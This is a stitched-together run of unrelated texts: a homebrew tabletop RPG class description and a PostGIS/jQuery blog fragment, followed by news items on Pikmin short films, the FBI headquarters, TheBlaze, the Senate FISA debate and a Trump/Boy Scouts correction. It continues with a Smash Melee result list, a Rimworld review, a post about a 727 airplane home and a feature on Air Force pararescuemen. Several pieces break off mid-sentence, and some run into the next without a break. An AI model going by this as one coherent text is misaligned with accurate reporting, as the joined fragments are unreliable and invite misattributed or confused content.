At 2nd level, your subconscious mind has begun to learn to dissociate yourself from the force of gravity. While you are conscious, your weight, and the weight of any armor you wear, is reduced by one-quarter. The maximum Dexterity bonus of armor you are wearing is increased by 1. For example, if you are wearing heavy armor and you have a Dexterity score of 12 or higher, you may add 1 to your AC. Your sensitivity to natural gravity means that you always know which direction is up, even underwater or when otherwise disoriented. Your base walking speed is increased by 5ft.
Improved Lightness
At 7th level, as your conscious understanding of gravity continues to increase, your subconscious has also continued to improve your dissociation from the natural law of gravity. While you are conscious, you and any armor you wear weighs half as much. The maximum Dexterity bonus of any armor you are wearing is increased by 2. Additionally, your sensitivity to natural gravity as improved to the degree that you can always discern your elevation above or below sea level, to within 30ft. Your base walking speed is increased by an additional 5ft.
Extreme Lightness
At 13th level, your subconscious divorce from gravity has increased to the degree that you and any armor or clothing you wear weigh three-quarters less than usual. The maximum Dexterity bonus of any armor you are wearing is increased by 3. Your sensitivity has become great enough to feel the unique texture of the gravity around you; you always know on what plane of existence you are, even if you have never visited that plane before. Your base walking speed is increased by an additional 5ft.
Weightlessness
At 17th level, your subconscious mind can completely isolate you from the force of gravity. While you are conscious, you are effectively weightless. You can walk and run as normal, but you do not sink in water or in soft earth. You may choose to ignore this effect, the effects of your own Disciplines, or spells which change the force of gravity (such as Levitate or Reverse Gravity) at will. You no longer count against the number of allies you can isolate from the effects of your Disciplines.
Focus Pool
Your training allows you to harness the force of gravity, but it requires tremendous mental focus to accomplish. Your ability to maintain this effort is represented by Focus points. Your Gravity Knight level determines the number of points you have, as shown in the Focus Pool column of the Gravity Knight table. You can spend these points in various ways to fuel various class features. You regain all Focus points on a long rest. During a short rest, you can regain a number of points equal to your level plus your Intelligence modifier.
Disciplines
You can control gravity in specific ways through trained forms called Disciplines. Like psionics, your Gravity Disciplines are magical and function similarly to spells. While the energy for these abilities is entirely mental, they require somatic components to transmit that energy. Even if you have the ability to use somatic components with your hands full (such as with the Warcaster feat) you are still unable to use your Disciplines if you have a condition that renders you unable to move, like if you are Restrained. For Discplines with area effects, you may choose a number of creatures or objects, including yourself, equal to your proficiency bonus plus your Intelligence modifier to be unaffected. The effects of your Disciplines are always limited by your range, even if a target creature or object is within range. For example, the Tier 3 "Throw/Yank" discpline allows you to push a creature or object up to 30ft, but if the creature is already only 10ft away from the edge of your |
3 parts:
JQuery for the html page UI which handles all the Ajax calls and DOM changes. JQuery is pretty slick and the more I use it, the more I love it. If you do web development, you should really give it a try.
A stored function just so if I need to do more complex things like, intrusion detection,or benchmarking etc its compartmentalized.
A server-side web handler that passes off the query to the stored function which returns back the query as a PNG file.
Check out these snapshots
I'm hoping in the very near term future to combine this with my favorite.NET reporting engine -- ActiveReports.NET which I currently use for my PostGIS based web apps and which can take database fields consisting of blobs of images. Being able to auto generate an image from spatial data to go in a report will be slick beyond imagination.Earlier today, the animated Pikmin shorts were finally shown at the International Tokyo Film Festival. While they haven’t been made available for everyone else to see just yet, we do have a trailer – that can be found below.
Shigeru Miyamoto and Dwango chairman Nobuo Kawakami also held a press conference of sorts later on. Plenty of information was revealed – the shorts will be coming to 3DS, a Pikmin 3 demo is in the works, and lots more. Head past the break for all of the juicy details!
The three Pikmin shorts (“The Night Juicer,” “Treasures in a Bottle,” “Occupational Hazards.”) are coming soon to 3DS
-They’d considered doing something like this for Nintendo’s characters many times in the past, but avoided it because of the difference between an interactive game and a film.
-Another reason is that a film requires much more ‘setting in stone’ about the characters and world that could be limiting for the company when it comes to future games.
-However, with Pikmin they’re very small inside the game and you can’t see them well without zooming in close. So he thought shorts might be a good fit for the Pikmin series as it’d allow there to be more focus on the actual Pikmin.
-Storyboards for the shorts were made by Miyamoto using Flipnote 3DS.
-Made by an external CGI company. They also produced the opening of the 2012 E3 Presentation, where Miyamoto was followed by CGI Pikmin.
-They originally intended to make ten 3-minute short films, but after making the first one they decided on making longer ones. The 2nd is 8 minutes and the 3rd is 13 minutes long.
-The 3rd film features 500 Pikmin on screen at once and Pikmin covered in mud, which are things they can’t do in-game.
-The models used are based on the game’s models, but as the CGI required about 10 times the fidelity of that in the latest game, so the 3D models in the shorts themselves are mostly new.
-Miyamoto says the live-action Super Mario Brothers film was an interesting interpretation of the universe. When he first read the script, it was a heart-warming tale, like a Disney movie from his childhood, but it gradually evolved into the movie we know today. He thinks it’s interesting what a different interpretation can bring.
-Release timing for the Pikmin shorts unannounced; may be compiled together with the logo-movie for Toho Cinemas (which also features Pikmin) when released on 3DS.
-Plans on releasing world-wide; no language to localize.
-Pikmin 3 demo is in the works.
-Miyamoto wants the short films to be a gateway for some to play the Pikmin games.
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PocketFBI Director James Comey wants a new headquarters. (AP Photo/Rick Bowmer)
A decade into a push for a new headquarters in the Washington suburbs, the FBI will have to wait a little longer.
On Monday, the General Services Administration, which is handling the headquarters project, said it would delay selecting a location and builder until March of next year.
Three locations, in Greenbelt, Landover and Springfield, are under consideration for the project and a short list of developers has been selected to compete for the work.
Funding remains a persistent concern however, as construction is likely to cost upwards of $2 billion.
The GSA has committed to trading away the site of the current headquarters, the J. Edgar Hoover Building, to help finance the project as it pursues additional appropriations to foot the full cost.
President Obama sought $1.4 billion in appropriations for the project in his fiscal 2017 budge. If approved by Congress, that money would add to $390 million already set aside for the project, assuaging fears that the Hoover Building would not fetch a high enough price to build a 2.1 million-square-foot secure campus.
[In-depth: The FBI’s headquarters is falling apart. Why is it so hard for America to build a new one?]
“Due to a strong and overwhelmingly positive response from developers to the solicitation [gsa.gov] issued earlier this year, the U.S. General Services Administration (GSA) and the Federal Bureau of Investigation (FBI) now plan to announce the selected site and offeror for the competition in early March 2017,” said GSA spokeswoman Renee Kelly, in a statement.
“GSA and FBI are encouraged by the proposals received and are confident that, if Congress provides the resources requested in the President’s Fiscal Year 2017 budget, we will be able to deliver on our commitment to provide a world class facility for the FBI and a good deal for the taxpayer,” she said.
[Final search begins for new FBI headquarters]
The delay didn’t please stakeholders in Maryland led by Sen. Barbara A. Mikulski (D-Md.), who has been pushing the GSA to make a selection before her retirement at the end of year and who wants to see the complex built in her state, not Virginia.
“I’m deeply disappointed in more delay,” Mikulski said in a statement. “The men and women of the FBI need a 21st century headquarters today to take on 21st century threats tomorrow. As this process moves forward, as Vice Chairwoman of the Commerce, Justice, Science Appropriations subcommittee I will continue to work my earrings off to put the funds in the federal checkbook for a new, fully consolidated headquarters. This is a headquarters that belongs in Prince George’s County, keeping our country and the American people safe while creating new jobs in Maryland.”
Delaying until 2017 means any decision will be made when a new president in office, and that could add its own intrigue. Hillary Clinton, for instance, counts Virginia Gov. Terry McAuliffe (D) as a close confidant, and her vice presidential nominee is current Virginia Sen. Tim Kaine (D).
House Democratic Whip Steny H. Hoyer (Md.) issued a statement saying he too was disappointed.
“Additional delays undermine the FBI’s mission and our national security, as well as employee morale and safety. I will continue to monitor this process to ensure it is fair and stays on schedule, and I strongly oppose any additional delays,” he said.
David S. Iannucci, a top economic development aide to Prince George’s County Executive Rushern L. Baker III, said that “while we would have preferred that the GSA adhere to its original schedule of the end of the calendar year, the extra time does not change the fact that we believe Prince George’s County has without question the two best sites for the future location of the consolidated FBI headquarters.”
“We will continue to work with the GSA, FBI, state and congressional officials, and the three bid teams to refine the proposals and build on our already strong program for the Greenbelt and Landover sites,” he added.
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Tomi Lahren won’t be appearing on Glenn Beck’s multiplatform network, TheBlaze, anymore.
Sources say Lahren — who was suspended last week after flip-flopping on abortion and declaring herself pro-choice — has been banned permanently.
“Glenn is reminding the world of his conservative principles by sidelining Tomi after she insulted conservatives by calling them hypocrites,” one Beck insider told me.
Fans think Beck — once a big Ted Cruz backer — has lost his conservative bona fides. He went on Samantha Bee’s TBS show in December and apologized for being divisive in the past.
“He’s trying to balance being a leading conservative thinker and also someone who can unify the country,” the Beck associate told me. “He just couldn’t sit by and watch as Tomi Lahren said there’s no way for conservatives to justify anything other than being pro-choice.”
“Beck’s trying to reinvent himself,” a former insider told me. “But he’s burned too many bridges.”
TheBlaze, founded seven years ago in Dallas, once had offices in New York and 300 employees. Now, the New York office is closed and the staff is half that size.
While the number of paying subscribers (once said to be 300,000) is kept secret, TheBlaze.com attracted 29 million unique visitors per month in 2014, and only 8.8 million uniques in February 2017, for a loss of more than two-thirds of its traffic.
Jerry Del Colliano, founder of Inside Radio, said Beck’s syndicated talk radio show has slipped as well from No. 3 to No. 5.
“Beck has lost his mojo, and TheBlaze helped him lose it,” Del Colliano said. “It’s hard to figure out where he is coming from.”Looking for news you can trust?
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UPDATE: Obama signed the extension of warrantless wiretapping authority into law on Sunday December 30.
There’s nothing like a debate over warrantless wiretapping to clarify how the two parties really feel about government. On Friday, the Senate voted to reauthorize the government’s warrantless surveillance program, with hawkish Democrats joining with Republicans to block every effort to curtail the government’s sweeping spying powers.
As the Senate debated the renewal of the government’s warrantless wiretapping powers on Thursday, Republicans who have accused President Barack Obama of covering up his involvement in the death of an American ambassador urged that his administration be given sweeping spying powers. Democrats who accused George W. Bush of shredding the Constitution with warrantless wiretapping four years ago sung a different tune this week, with the administration itself quietly urging passage of the surveillance bill with no changes, and Senator Dianne Feinstein (D-Calif.) accusing her Democratic colleagues of not understanding the threat of terrorism.
“There is a view by some that this country no longer needs to fear an attack,” Feinstein said.
So what were these drastic changes sought by Feinstein’s colleagues that would leave the United States open to annihilation by terrorists? They’re mostly attempts to find out exactly how the changes to the Foreign Intelligence Surveillance Act actually work in practice. The most radical proposal, Senator Rand Paul’s (R-Ky.) amendment requiring a warrant for the government to access any digital communications, had no chance of passing but clarified just how moderate the Democrats’ proposals were by comparison.
“It’s incredibly disappointing that such modest amendments that would have done nothing more than increase transparency and accountability failed to pass in the Senate,” said Michelle Richardson of the ACLU.
The Foreign Intelligence Surveillance Act is meant to allow the government to spy on suspected foreign agents abroad, but it is written in such a manner that it allows the government to snoop on conversations involving American citizens, as long as at least one end of the conversation involves a suspected agent of a foreign group overseas. But very few lawmakers know how the law works, or even have the staff with the necessary expertise or security clearances to figure out how it works. So when respected legislators like Feinstein take to the Senate floor to say that any changes would lead to more flaming buildings and American corpses, senators take it seriously. What this means, however, is that Congress just voted to approve a largely secret law it doesn’t really understand. In the Senate, they actually voted not to know what the law does by rejecting an amendent that would have made the government state how many Americans have been spied on without a warrant.
“Americans have no way of figuring out how their laws are being interpreted,” Senator Ron Wyden (D-Ore.) said. “We don’t expect the public to, in effect, just accept secret law.”
Wyden proposed that the National Security Agency disclose an estimate of how often these powers have targeted Americans, and that if data on Americans were collected, the authorities seek a warrant before searching for their private information in NSA databases. “I guess you believe that no one is going to attack us, then it’s fine to do this,” Feinstein said. “I know there are people trying to attack this country all the time.”
Senator Chuck Grassley (R-Iowa) was more direct, arguing that the Fourth Amendment only protects Americans if they’re being targeted, not if the government just happens to be listening in. “Some people think that a U.S. person has a constitutional right not to have his communications with a foreign target eavesdropped by the U.S. government without a warrant,” Grassley said. “But that’s not how the Fourth Amendment works.” Grassley is afraid Obamacare will pull the plug on your grandma, but he doesn’t have any worries that the government might abuse its power to spy on Americans without a warrant.
Wyden’s colleague Senator Jeff Merkley (D-Ore.) wanted to force the government to issue declassified summaries of decisions made by the Foreign Intelligence Surveillance Court, which not only approves secret warrants but issues rulings interpreting the breadth of the law. Court interpretation can significantly change the scope of a law that seems plainly written. Nevertheless, when Merkley argued that Americans shouldn’t be subject to laws they don’t understand, Feinstein mocked him by holding up a copy of the FISA law and saying “this is the law. It’s not secret.”
Senator Patrick Leahy (D-Vt.) sought to make the warrantless surveillance law expire a year prior to end of Obama’s second term, instead of five years from now. It was voted down, precisely because supporters of warrantless spying understand that the longer Congress goes without debating the law, the more normal these extraordinary powers become. Feinstein explained that she opposed Leahy’s measure because “these authorities expire in 4 days.” But the bill has been ready for a Senate vote since September—Wyden had been holding it up in order to get floor votes on the minor oversight amendments the Senate just crushed.
Feinstein and her Republican allies insist that the oversight of warrantless surveillance is sufficient, which is why something as basic as disclosing how many Americans have been spied on is unnecessary. As Julian Sanchez of the Cato Institute points out, their argument relies on a catch-22: If there’s no evidence of the government abusing its authority, that must mean it never happens. Therefore, there’s no need for more oversight. If there is evidence of government abusing its authority, that also proves there’s no need for more oversight—after all, the abuses were noticed.
As the debate dragged on, however, Feinstein, growing ever more frustrated, seemed to be arguing not that the government had never abused its surveillance authority but that further disclosure could lead to the abolition of the warrantless surveillance program.
“This is an effort to make that material public, and I think it’s a mistake at this particular time because it will chill the program, it will make us less secure, not more secure,” Feinstein said. “I know where this goes, it goes to destroy the program. I don’t want to see it destroyed.”
But if the program is constitutional, and the oversight is effective, what is there to be afraid of?In addition to the official (and incredibly exciting) singles tournament at Evo 2013, the Smash community put together a special doubles bracket for Super Smash Bros. Melee that saw many of those who did well in the main event team up and compete. Below, you’ll find video for each finals match, featuring players like CT.EMP|Mew2King, CT|Hungrybox, Mango, Armada, Android, Ice, and more. We’ve also included results further down in this article, so be wary if you’re looking to avoid spoilers.
If you would to see more, make sure to check out CLASH Tournaments’ full playlist.
Replays
Results
1. CT Mew2King + CT Hungrybox
2. MIOM Mango + Lucky
3. PewPewU + SFAT
4. Armada + Android
5. Leffen + Ice
5. CT Hax + Jman
Source: CLASH Tournaments(Full Disclosure: the writer has backed this game on its original Kickstarter project page which can be seen here [ https://www.kickstarter.com/projects/tynansylvester/rimworld ] and can be purchased here [ http://rimworldgame.com/ ] for $30+, with a variety of tiers depending on what you are willing to invest into the game’s future. This review uses the 8d build of the game.)
Rimworld, Dwarf Fortress… IN SPACE (sort of)
Rimworld is programmed primarily by Tynan Sylvester (Ludeon Studios). The soundtrack is done by Alistair Lindsay(Defcon, Darwinia, Prison Architect), and graphics are by Rhopunzel (Starbound)
Rimworld’s gameplay, like other Dwarf Fortress clones, is controlled entirely from a completely top‐down perspective. It is a semi‐RTS, semi‐The Sims life story generator and semi‐Fortress builder. The game has no dearth of mishaps and tragedies to suffer upon your colonists. Some of the game’s AI Storytellers will gleefully use them to wreak havoc upon the colony at the worst possible times, while other AIs will allow your colony to grow and prosper for a more The Sims‐like experience.
You designate tasks for your colonists to fulfill, and they will do them in a First In, Last Out task‐line depending on each colonist’s particular skills and abilities. In this sense, it is very much like Dwarf Fortress, but, where in that game the controls are arcane and byzantine, the controls and GUI for Rimworld are much smoother and have far more recognizable graphics for those unwilling or unable to play Dwarf Fortress. That is not to say this game is less complex than Dwarf Fortress. It has its own difficulty spikes and curves, and it is played entirely along two dimensions. Compared to DF’s multiplane, multi‐floor gameplay, this game is more focused on surviving as a smaller colony, rather than as a multigenerational dwarven community. Colonists live and die, creating their own little stories for you to remember and for them to pass on in the form of art. Making stories to tell others of your colonies is where Rimworld shines.
But first, let me tell you of a colony and its residents I chose specifically to make it harder on one particular playthrough.
Histories of Avarice & Diligence
You start with three colonists. Compared to other DF clones, this is a pittance. However, this is not a problem for this game because it makes you invest far more emotion into each individual as they go about the tasks that you set before them to ensure their survival. But the life of each colonist is fragile, and they will each get hurt, wounded, dismembered, and even die. Yet the colony will go on. Each has a group of backgrounds that determines their skillset and is completely randomized for each colonist, personalizing them further. Additionally, each has at least one trait or combination of up to two that makes them individuals.
In the colony I am doing for this review, all three share one trait in common: they are cannibals.
The first colonist, Arseny, was a caveworld tunneler before becoming an urbworld (in‐game term for a 1st World Country‐Esque World) entrepreneur. He is good at mining and social matters but completely incapable of scientific research. He is also a cannibal and the second eldest of the three.
The second is Cagla, or Canim as her nickname was chosen. She was a frightened child growing up and became a space miner. She is excellent at mining, construction, and cooking, but she is incapable of stopping fires. She is also a cannibal and the oldest of the three.
The third is Avila. She was a caveworld tender, growing mushrooms before she decided to become a bartender. She is excellent at mining, cooking, and growing food as a result of her background but is limited to not much else. She is steadfast, the least likely to break mentally out of all the colonists, and is a cannibal.
Strike the Earth Planet
Once Rimworld starts proper, with supplies, food, and weapons dropping all around you, your three colonists hit the planet in survival drop‐pods and make planetfall. In my game, they made planetfall in a tundra zone, recently added in the latest update, and were rewarded with cold temperatures that caused them to nearly freeze to death. The game features full atmospheric temperatures; hot and cold and will penalize your colonist’s moods if they’re outside of their comfort zone.
As it is hard to break old habits, I immediately crafted a small cabin next to a mountainside and proceeded to burrow into it. With three miners, this proceeded well. Meanwhile, a fire was made in the cabin to keep the colonists from freezing to death.
Food is a concern, especially early on and especially in normally freezing areas. You only start with a few days to roughly a week of survival rations, and it is up to your colonists to secure further meals. In the tundra zone, meat is scarce and potatoes have difficulty growing. But, seeing as all three colonists were cannibals, this would be soon be rectified.
Security is a concern, so the colony must defend itself. Each colony starts with a number of weapons; in this case, a rifle, pistol, and knife. Three days after landing, a lone maniac pirate attempted to assault the colony by himself. He was promptly shot in the knee, and his adventuring days were over. Normally, at this point, you are supposed to capture your attackers and stuff them into a prison cell, and then proceed to use Stockholm Syndrome to convince the survivor to join the colony and defend it from further attacks. Normally. But today, the bartender killed him and the colony would be able to eat for another few weeks.
After establishing a meal dispenser, food became less of a problem. Thanks to the low colonist count, however, the game kept sending slave vessels and dropping off other survivors of other crashes in an effort to bump up my colonist count. However, I was strictly going to avoid the issue of other colonists suffering from joining up for three reasons:
1) Eating people makes any non‐cannibals feel terrible and makes them more likely to go crazy or leave.
2) Having only three colonists makes for a terrible economy, with the only thing to trade being the weapons of dead attackers.
3) Why pay for cannibal take‐out when the dead pile outside the base?
Despite this, Rimworld was adamant that I have another colonist and gave me Tina, a lazy, prosthophobic starship janitor who grew up as a scout. Not the worst of prospects — she was the only one that has so far started with crafting skills above three. The colony still needed winter clothes in the forms of parkas. This will be important in a little bit.
The game’s butchery and leather creation system are combined into a single action, allowing your hunters to spare a bit of time creating both food and clothing materials. However, the only meat and leather so far to have graced the colony in any large number at this point were pirates, natives, and outlanders that died due to unfortunate circumstances.
Long story short, this is how Tina, the only neurotypical member of the colony, became the first colonist to craft human leather parkas.
Gruesome crafting story aside, the game’s crafting system is wonderful. It is a simple point, click, and build affair that so far only allows the creation of a variety of melee weapons and clothing out of several materials grown, mined, and traded for via the simple trade system.
The soundtrack is a haunting, western‐themed mileau that is varied enough to prevent irritation. It is all at once quirky, breathtaking, and astounding.
Rimworld is a story generator full of tragedy, triumph, and survival. One moment your entire base is covered in flames from a broken power conduit; the next a pod with a single survivor falls from the heavens (not at all) eager to be put to work. This is Rimworld in a nutshell.
Exploring the surrounding land yields rewards if you can survive the dangers. There are sometimes cryptopods (think the pods in Alien that the crew climbed out of) scattered across the landscape, and each one contains an ancient survivor of some long forgotten crash or colony. Or ravenous beetles. The survivors, having just escaped whatever tragedy had befallen them before entering the pods, are also notably concerned with being brought out of their ancient sleep and will react violently.
Rimworld has enough materials in its alpha state to ensure several hundred hours of gameplay. The controls are excellent, mostly relying on the mouse with some keyboard shortcuts as well. My biggest gripe with the game is that there isn’t an adventure mode. Further, having a well established colony makes one thing apparent: there needs to be a bit more for the colonists to do. Often I would spend hours with my colony just farming potatoes and fighting off pirates, with little else to do but wait. The creator has added in art crafting to help mitigate this, but it’s still apparent, especially with high colony numbers, that there needs to be a bit more to do.
There are tiers that one can purchase with the game as well, with bog standard allowing you to have the game (and all future updates), followed by adding your (or a character’s name) into the game for $45. Further tiers include adding more character names to the character database, including custom histories, and adding yourself as leader of a pirate group for the more adventurous investors.
Furthermore, there are issues with colonists not having seasonal wear schedules; a friend of mine’s colony has four distinct seasons, and he has found that it is a chore to switch out each colonist’s clothing to match the season.
These gripes aside, the combat system, crafting system, and trade system are excellent, and I would hope others making games in this sort of vein would take note of what has been accomplished in Rimworld—if only for the sake of the GUI favouring crowd of Dwarf Fortress gamers.
Final Thoughts
It is a graphically improved Dwarf Fortress clone with tactical melee/ranged combat and a mid‐tier difficulty curve. It features a plethora of weapons ranging from the neolithic great bow to advanced plasma rifles and miniguns, and it features no less than four different enemy types (as of this writing) for your colony to be attacked by. The graphics are inspired by Prison Architect, with small amounts of visual personalization available to each colonist.
I must admit, I am looking forward to future updates from Tynan Sylvester, and I’m looking forward to a proper review for Rimworld.
Writer plays Dwarf Fortress, Majesty, Mount & Blade: warband and currently is playing attempting to culture‐form Scandinavia through viking wizardry in Crusader KingsGreat Find HuffPo. and CNN, for 1998!
Bruce Campbell (not the actor from Burn Notice) is the owner of a Boeing 727 home, and he has been posting pics on his unique house since 2002. Before that, the article you see here (in monochromatic splendor) is from the Maine Sun Journal, December 12, 1998.
Recently, (this week), the HuffPo via WTSP (through CNN) picked up the story and are running it like it’s new. Yes, it’s cool. But new, no. Not anymore. They were scooped by 14 years in a paper news thingy.
Now, I guess they might claim that CNN was allowed to do a new video tour (maybe that’s news?), but really these should all be follow-up stories with titles like: “How Has Bruce Campbell Dealt With The Publicity Of His 727 House?”. Or: “Campbell’s 14 Years Living In A Can.” (Have some pun.)
Well, if these media outlets are not above such old news, I guess neither are we. It’s still clickworthy. Here’s an embedded re-post, of an embedded video (sorry it’s Flash):
Also not aviation news…
…but just as cool, if not cooler is a 727 hotel in Costa Rica (click to visit the article):
Visit Campbells website here: http://www.airplanehome.com/ (Where the top pictures came from.)
Visit the Costa Rica 727 fuselage hotel here: http://www.apartmenttherapy.com/the-727-fuselage-home-82299White House admits no phone calls from Boy Scouts or Mexican president
President Donald Trump turns to, from left, Secretary of Health and Human Services Tom Price, Secretary of Energy Rick Perry, and Interior Secretary Ryan Zinke as he speaks at the 2017 National Scout Jamboree in Glen Jean, W.Va., Monday, July 24, 2017. (AP File Photo/Carolyn Kaster)
NEW YORK — Faced with a firm denial from the Boy Scouts, the White House on Wednesday corrected President Donald Trump’s claim in an interview that the head of the youth group called him to heap praise on a politically aggressive speech Trump delivered at the Scouts’ national jamboree.
After the Boy Scouts issued a statement saying no such call happened, White House spokeswoman Sarah Huckabee Sanders confirmed their take but said “multiple members of the Boy Scout leadership” approached Trump in person after the speech and “offered quite powerful compliments.”
Sanders said compliments that Trump described receiving from the Boy Scouts and the Mexican president happened — just not on the phone, as Trump claimed.
“I wouldn’t say it was a lie. That’s a pretty bold accusation,” Sanders told reporters. “The conversations took place, they just simply didn’t take place over a phone call … he had them in person.”
Trump told The Wall Street Journal in an interview published Wednesday, “I got a call from the head of the Boy Scouts saying it was the greatest speech that was ever made to them.”
“We are unaware of any such call,” the Boy Scouts responded in a statement. It specified that neither Boy Scout President Randall Stephenson nor Chief Scout Executive Mike Surbaugh placed such a call.
There was no immediate word from the Boy Scouts as to whether Surbaugh was among those congratulating Trump in person. Stephenson did not attend the speech.
The White House also had to back off another Trump claim made Monday about an alleged phone call from Mexican President Enrique Pena Nieto, who Trump claimed called him to praise his immigration policies.
Sanders was responding to questions about a statement from the Mexican government denying what Trump described as a recent phone call with Mexican President Enrique Pena Nieto. Trump said earlier this week that Pena Nieto called him to praise his immigration policies.
“As you know, the border was a tremendous problem and they’re close to 80 percent stoppage. Even the president of Mexico called me: They said their southern border, very few people are coming because they know they’re not going to get through our border, which is the ultimate compliment,” Trump said Monday.
Sanders said Trump had been “referencing a conversation that they had had at the G-20 summit where they specifically talked about the issues that he referenced.”
Email exchanges with the Boy Scouts of America head office made clear that fallout from the speech, and the president’s latest claim, placed the BSA in an awkward position — seeking to show its longstanding respect for the office of the presidency and avoid a confrontation with Trump while making clear that its top leaders had not called him to praise the speech.
Other U.S. presidents have delivered nonpolitical speeches at past jamborees. To the dismay of many parents and former scouts, Trump promoted his political agenda and derided his rivals, inducing some of the scouts in attendance to boo at the mention of former President Barack Obama.
The Scouts noted that Surbaugh had apologized last week to members of the scouting community who were offended by the political rhetoric in Trump’s July 24 speech in West Virginia.
“I want to extend my sincere apologies to those in our Scouting family who were offended by the political rhetoric that was inserted into the jamboree,” Surbaugh said. “That was never our intent.”
Surbaugh noted that every sitting president since 1937 has been invited to visit the jamboree.
Stephenson told The Associated Press two days after the speech that Boy Scout leaders anticipated Trump would spark controversy with politically tinged remarks, yet felt obliged to invite him out of respect for his office.
Hoping to minimize friction, the Boy Scouts issued guidelines to adult staff members for how the audience should react to the speech. Any type of political chanting was specifically discouraged.
Stephenson, who didn’t attend Trump’s speech, said the guidance wasn’t followed impeccably.
Associated Press writers Darlene Superville and |
the past 14 years of war.
“Most of us who came in after 9/11 have experienced nothing but combat in our careers,” one pararescueman said. “It’s a way of life.”
At this remote bare base at an undisclosed location in Iraq, a small group of Air Force special operations troops and helicopter aircrew are on alert 24/7, sometimes deep within enemy territory, ready to rescue downed U.S. or coalition pilots in northern Iraq and Syria.
Eight U.S. Air Force pararescuemen, also known as PJs, and three combat rescue officers from the 57th Rescue Squadron based at RAF Lakenheath, United Kingdom, supported by three Air Force HH-60G Pave Hawk helicopters and their aircrews are always ready to launch within about 15 minutes.
These elite troops and airmen are the only rescue team positioned to cover the 275,000-square-mile battlefield of northern Iraq and Syria. Consequently, they are the best hope of survival for a pilot who ejects over this portion of ISIS-controlled territory, which is roughly the size of Colorado.
“As far as personnel recovery within Syria, we are it,” said a combat rescue officer, an Air Force major, speaking on condition of anonymity due to security concerns.
“Ideally we’d have more people here,” he added. “But we’ve learned to do more with less.”
(Many U.S. military personnel deployed in support of Operation Inherent Resolve—the international combined joint task force fighting ISIS—have chosen not to reveal their identities due to threat of terrorist reprisals on themselves and their families.)
The “do more with less” mentality reflects a pervasive trend in the U.S. military, as units worn and torn (in equipment and personnel) by 14 years of continuous combat operations have seen little reduction in their operations tempo since the end of Operation Enduring Freedom (OEF) and Operation Iraqi Freedom (OIF). In fact, the U.S. military is still in combat in both Iraq and Afghanistan, and across an expanding list of other locations worldwide, straining the equipment and manpower reserves of a military that has been depleted in both by budget cuts.
When asked, for example, why more rescue “packages” are not positioned around Iraq and Syria to cut down on response times (which are now potentially up to three hours to pick up a downed airman), an Air Force combat rescue officer replied: “We just don’t have the dudes.”
Scar Tissue
Air Force PJs and combat rescue officers (CROs) are trained to go deep behind enemy lines, often at great risk, to rescue U.S. personnel. Their motto is: “That others may live.”
PJs are certified EMT-paramedics. Their medical training includes eight weeks of rotations at a big city hospital (where traumatic wounds from things like gunshots are more common) as well as four weeks riding along with first responders. This training psychologically hardens the recruits to the kinds of injuries they are likely to encounter on the battlefield.
The pararescue training pipeline is considered one of the most difficult among U.S. special operations forces. PJs and CROs also attend specialty schools including Army Airborne School, Army Combat Divers School, Air Force Survival, Evasion, Resistance and Escape School, and Army Free-fall Parachutist School.
Combat rescue officers go through the same training as PJs, with the exception of the advanced medical training. The officers’ role in combat is to remain “heads up” and aware of the battlefield while the PJs are focused on tending to the wounded.
On missions, the HH-60 Pave Hawk helicopters are cramped, noisy and confusing. The rescue teams have to slide around on their knees (they all wear kneepads), and there are no seats or safety belts—only metal rings on the floor for attaching harnesses. Combat veterans recount the chaos and carnage inside helicopters in Afghanistan as they recovered personnel wounded by IEDs and gunshots on a daily basis.
“When it gets crazy, you just fall back on your training,” a pararescueman said.
PJs and CROs bring an essential skillset to modern war and are consequently in high demand—especially in Operation Inherent Resolve, in which an airman captured by ISIS faces almost certain death. Yet, despite their importance, the ranks of CROs and PJs are thinning due to an unrelenting deployment schedule and the wear and tear on their bodies over the years.
“It’s a young man’s game, but most of the SOF (Special Operations Forces) guys are older,” a combat rescue officer said. “Especially the tier one guys. Most guys are in their late 20s or 30s. Some are even in their 40s.”
“The older guys, the really experienced guys, are the ones we need to keep around,” he added.
The pararescue operators are battle-hardened, and their bodies tell the story of careers spent in war. One PJ, an Air Force chief master sergeant, has a scar where he was shot in the face. One CRO, an Air Force major, broke his back in a helicopter crash in 2011 near Kandahar, Afghanistan.
U.S. Special Operations Command launched a program in 2013 called Preservation of the Force and Family (POTFF), which includes physical therapy support for special operations soldiers. “We are a human-based weapon system,” the major said. “Just like an aircraft needs maintenance, we need maintenance too.”
“We’re like professional athletes,” he added. “Bigger, stronger, faster. Mentally resilient. And it pays to be a winner.”
Due to their rigorous training pipeline, it can take about two or three years to train a PJ or CRO. And the attrition rates in training are staggering. Sometimes less than 10 percent of recruits who enter training ultimately graduate.
“We just can’t mass produce,” the major said. “The training takes 24 months in a perfect world, but two or three years realistically. And then at least four months in a squadron before you’re ready to deploy.”
Consequently, it isn’t easy to refill the thinning ranks, leaving the CROs and PJs currently serving in perpetually high demand. They are still operating in Afghanistan and Iraq and are forward deployed to other locations, including several sites in Africa. There is also a team always on standby, ready to deploy anywhere in the world.
When not deployed, time at home is constantly interrupted by trips for specialized training. After this deployment to Iraq, for example, the 57th Rescue Squadron is scheduled to go to Greece for dive training and to the Alps for mountain warfare training. For many, the constant combat deployments and training exercises are part of the appeal of this career field, but the strain on family and personal lives eventually takes a toll. Many elect to leave the military once their commitments have expired.
For some, however, the camaraderie unique to elite special operations units is too hard to leave behind. The shared experiences of training and combat are practically impossible to explain to one who has not endured either. “I stuck around because of the guys I get to work with,” the CRO major said.
There are currently 588 total PJs and 122 CROs in the U.S. military. When asked if there was enough manpower currently in reserve to support another war, a CRO commander said that there are no units sitting idle to stand up a new war. To support any additional conflicts, dwell time (the time spent at home between deployments) would simply have to be cut down for those units already dedicated to other conflicts and missions.
“We have limitations,” he said.
Last Line of Defense
Combat Search and Rescue (CSAR) is a challenging mission in Operation Inherent Resolve, primarily due to limited personnel and the size of the battlefield.
The PJs and CROs in Iraq are divided into three four-man teams, which sit 48-hour alerts. Their mandate is to be able to launch within 30 minutes if a pilot goes down, but they say they can be airborne within 15 minutes.
To cut down on response times, the rescue teams occasionally forward position within enemy territory, either by loitering in the air or setting down on the ground. “We are a reactive force but there are things we can do to lean forward to be able to be more effective,” a combat rescue officer said. “We have to get close if you want us to have a chance.”
Equipment is also a limiting factor. Due to budget constraints, helicopters lost during OIF and OEF have not been replaced. And the current fleet of Pave Hawks face a litany of maintenance issues after more than a decade of heavy use in austere environments. “The maintainers do an awesome job,” a pararescueman said. “If we break down, the coalition doesn’t fly strike missions.”
